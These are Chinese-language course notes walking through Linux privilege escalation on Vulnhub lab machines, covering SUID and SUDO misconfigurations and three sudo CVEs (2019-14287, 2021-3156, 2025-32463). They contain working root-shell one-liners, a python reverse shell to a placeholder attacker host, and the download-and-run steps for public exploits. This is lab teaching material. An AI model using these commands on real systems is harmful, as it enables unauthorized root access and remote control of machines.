小迪安全v2023学习笔记(一百三十九讲)—— Linux系统权限提升篇Vulnhub辅助项目SUID权限SUDO指令版本漏洞
文章目录
- 权限提升——第一百三十九天
- Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞
- 前置知识
- 所处环境
- SUID&SUDO是什么?
- 为什么会用到SUID或SUDO?
- 如何利用?
- Linux系统提权 - Web&用户-SUID
- SUID&GUID - 入门
- SUID&GUID - 进阶
- Linux系统提权 - Web&用户-SUDO&CVE
- SUDO - 入门
- SUDO - 进阶
- CVE-2019-14287
- CVE-2021-3156
- CVE-2025-32463
权限提升——第一百三十九天
Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞
前置知识
所处环境
-
首先还是我们本节课所处的位置为:

-
然后回顾一下Linux的提权手段有:
- 内核溢出漏洞提权
- suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
- 数据库类型提权
-
那么本节课主要是关于SUID和SUDO的提权方式
SUID&SUDO是什么?
- SUID(
Set User ID)是 Linux/Unix 系统中的一种特殊文件权限位,仅作用于可执行文件。当普通用户执行带 SUID 位的程序时,内核会临时把进程的有效 UID 提升为该文件属主的 UID,从而“借”到属主的权限,完成本无法完成的任务。 - SUDO (
SUperuser DO) 是一个独立的开源程序,通过可配置的策略文件(/etc/sudoers及其包含目录)临时授予普通用户“以其他身份(默认 root)运行某条命令”的权限,并留下审计日志。 - 由于他们都能够让文件或者某个用户临时以高权限用户去执行命令,因此可以利用这一点去尝试提权
- 其实完全可以把他们当成同一个东西,只不过SUID设置之后可以直接调用root权限,而SUDO需要使用sudo命令(有的需要输入密码,更安全一点)才能够使用
为什么会用到SUID或SUDO?
- 我们以find命令为例,如果一个普通用户去运行find命令查找某个文件,可能会因为权限不足导致某些目录无法访问
- 但是我们又不想这个普通用户拥有全部的权限,于是我们就将该用户添加到
/etc/sudoers文件中,比如设置如下:
test ALL=(root) NOPASSWD: /usr/bin/find+ test:为谁授权,表示为test用户授权
+ ALL:在哪台机器上生效,表示在所有主机上生效
+ (root):允许变成谁,表示可以以root身份运行
+ NOPASSWORD:/usr/bin/find:表示运行某个文件时不需要密码
- 于是当我们以
sudo去运行find命令时,就不会提示权限被拒绝了,SUID也是同样的道理
如何利用?
- 直接上网址:https://gtfobins.github.io/
- 首先需要进行信息收集,看哪些用户有SUDO权限,哪些文件有SUID权限,一般先工具看看有没有常用的:
SUID:
1. less、more、most
2. vim、vi、nano、emacs
3. man
4. awk、gawk
5. find
6. base64、xxd、od
......SUDO:
1. find
2. vim、vi、nano、emacs
3. less、more、man
4. awk、nawk、gawk
5. python、python3、perl、ruby、lua、php
......
- 工具推荐:
- https://github.com/carlospolop/PEASS-ng
- https://github.com/rebootuser/LinEnum
- 手工查看命令:
# SUID
find / -type f -perm -4000 2>/dev/null
# 查找带有SUID的文件
find / -perm -u=s -type f 2>/dev/null
# 查找带有GUID的文件
find / -perm -g=s -type f 2>/dev/null# SUDO
sudo -l


Linux系统提权 - Web&用户-SUID
SUID&GUID - 入门
-
环境复现:https://www.vulnhub.com/entry/dc-1,292/
-
这里它存在drupal的框架漏洞,直接msf利用获取权限:


-
我们实战中就直接上传工具进行扫描就行了,当然如果工具没有扫到也可以手工再看一看,这里就用LinEnum,因为它比较小:

-
直接到我们的网站,搜索find,然后利用它给的利用命令即可:


-
然后我们直接尝试利用这个命令看看是否能够提权成功:

-
这里用
-p选项失败了,我们直接利用下面这个find命令进终端:
./find . -exec /bin/sh \; -quit

- 成功提权,其实就是利用执行find时它会临时调用root的权限,让他起一个终端,那么这个终端就拥有了root权限,达到我们提权的目的
- 而为什么用find呢,不用像passwd这样的命令呢,因为find能够直接执行命令,但是passwd不可以
SUID&GUID - 进阶
-
环境复现:https://www.vulnhub.com/entry/toppo-1,245/
-
这里就不看前面的Web找账号密码的过程了,这里直接来到入口点
http://<IP>/admin/notes.txt:

-
因为它开放了22端口,所以尝试SSH连接:

-
这里是一个低权限用户,我们需要提权,本地开服务,让目标下载我们的检测脚本工具,直接开扫:

-
当然可以直接上刚才的网站搜一下mawk、python2.7如何利用,直接可以提权:
# mawk
mawk 'BEGIN {system("/bin/sh")}'# python
python -c 'import os; os.system("/bin/sh")'


- 这里因为它的python2.7具有SUID,所以我们也可以直接用它尝试反弹Shell到MSF进行后续利用:
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Linux系统提权 - Web&用户-SUDO&CVE
SUDO - 入门
-
环境复现:https://www.vulnhub.com/entry/toppo-1,245/
-
我们直接用刚才的靶机来演示SUDO提权,还是一样,先利用工具看哪些命令可以sudo:

-
最好手工命令也看一下:
# 有些可能用不了sudo命令,就直接看这个文件
cat /etc/sudoerssudo -l

- 然后在线网站看利用命令:


SUDO - 进阶
CVE-2019-14287
-
环境复现:https://www.vulnhub.com/entry/devguru-1,620/
-
这里我们抓住重点,本节课主要是为了讲提权漏洞,所以前期的Web打点拿权限的步骤我也就不复现了,文章详见:VulnHub-DevGuru 1 渗透测试 - FreeBuf网络安全行业门户
-
直接来到入口点:

-
拿到Shell之后,我们尝试提权,这里用SUDO,手工发现它普通用户能使用
sqlite3命令:

-
于是我们直接在线工具找该命令提权用法:

-
如果直接用会发现sudo用不了,提示没有tty,这里又涉及到一个东西,就是SUDO命令自身可能存在的安全问题
-
我们可以看看当前主机sudo的版本,有没有漏洞可以利用:
sudo -V

- 可以看到当前版本为
1.8.21p2,因此可能存在CVE-2019-14287漏洞(Sudo版本 < 1.8.28),这个漏洞其实就是一个绕过漏洞,能够允许用户通过特定的用户ID来执行本不允许的root权限命令,利用命令如下:
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

- 成功绕过提权
CVE-2021-3156
- 环境复现:Docker容器
# 拉取 Docker 镜像
docker pull chenaotian/cve-2021-3156# 启动 Docker 容器
docker run -it chenaotian/cve-2021-3156
- 这个是用得更多的CVE漏洞,它的影响版本如下:
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
- 进入靶机,切换到普通用户,我们先看看它的sudo版本:
sudo -V

- 当前是普通用户,并且也符合漏洞版本,我们还是要先验证一下有没有打过补丁:
sudoedit -s /

-
显示报错就说明它存在漏洞,如果是没有报错,显示正常就不存在漏洞:

-
当存在漏洞时,我们用网上写好的利用工具直接梭哈就完事了:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0
- 在这里作者已经编写好了工具放在了
/root目录下,测试输入如下命令即可:
cd /root/exp
su test
./exp
whoami

- 可以看到成功提权,底层的利用payload为:
sudoedit -s '\' `python3 -c "print('A'*80)"`
CVE-2025-32463
- 环境复现:kali 2022 - 2025
- 这个漏洞是比较新的sudo提权漏洞,影响版本为:
sudo 1.9.14 - 1.9.17

- 首先在
/etc/sudoers中写入(不过好像都不用这个条件):
kali ALL=(ALL) NOPASSWD: /usr/sbin/chroot
- 切换到kali用户,先查看是否存在漏洞:
sudo -R woot woot

- 显示
No such file or directory就说明存在漏洞,然后我们下载可以直接利用的PoC,一键梭哈即可:
get clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
cd CVE-2025-32463_chwoot
./sudo-chroot.sh

- 所以从这三个例子中,我们可以知道SUDO提权时不仅可以考虑直接命令尝试提权,有时候也可以考虑利用它本身存在的漏洞进行提权
